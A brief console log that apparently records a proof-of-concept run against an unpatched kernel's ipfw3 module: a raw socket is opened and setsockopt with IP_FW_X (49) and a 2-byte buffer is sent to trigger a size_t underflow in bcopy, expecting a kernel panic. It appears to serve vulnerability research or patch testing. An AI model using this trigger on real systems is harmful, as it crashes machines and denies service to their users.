kldload_rc=1
 4    1 0xffffffff82600000    49000 ipfw3.ko
=== running uflow (size_t underflow trigger) on UNPATCHED #0 kernel ===
[*] raw socket fd=3
[*] setsockopt(IPPROTO_IP, IP_FW_X=49, buf, 2) -- expect kernel panic from size_t-underflow bcopy